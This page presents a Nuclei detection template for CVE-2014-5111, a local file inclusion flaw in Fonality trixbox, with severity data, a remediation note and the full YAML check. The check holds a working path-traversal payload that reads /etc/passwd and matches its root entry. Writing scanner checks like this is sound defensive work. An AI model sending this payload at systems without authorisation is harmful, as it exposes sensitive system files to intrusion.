Fonality trixbox - Local File Inclusion

mediumseverity

5CVSS score

21.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Multiple local file inclusion vulnerabilities in Fonality trixbox allow remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter to (1) home/index.php, (2) asterisk_info/asterisk_info.php, (3) repo/repo.php, or (4) endpointcfg/endpointcfg.php in maint/modules/.

Impact

An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.

Fix

Apply the latest patches and updates provided by the vendor to fix the local file inclusion vulnerability in Fonality trixbox.

How to confirm it

Send: GET {{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-5111 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-5111

info:
  name: Fonality trixbox - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Multiple local file inclusion vulnerabilities in Fonality trixbox allow remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter to (1) home/index.php, (2) asterisk_info/asterisk_info.php, (3) repo/repo.php, or (4) endpointcfg/endpointcfg.php in maint/modules/.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest patches and updates provided by the vendor to fix the local file inclusion vulnerability in Fonality trixbox.
  reference:
    - https://www.exploit-db.com/exploits/39351
    - https://nvd.nist.gov/vuln/detail/CVE-2014-5111
    - http://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5111
    cwe-id: CWE-22
    epss-score: 0.21569
    epss-percentile: 0.97642
    cpe: cpe:2.3:a:netfortris:trixbox:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netfortris
    product: trixbox
  tags: cve2014,cve,packetstorm,lfi,trixbox,edb,netfortris,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from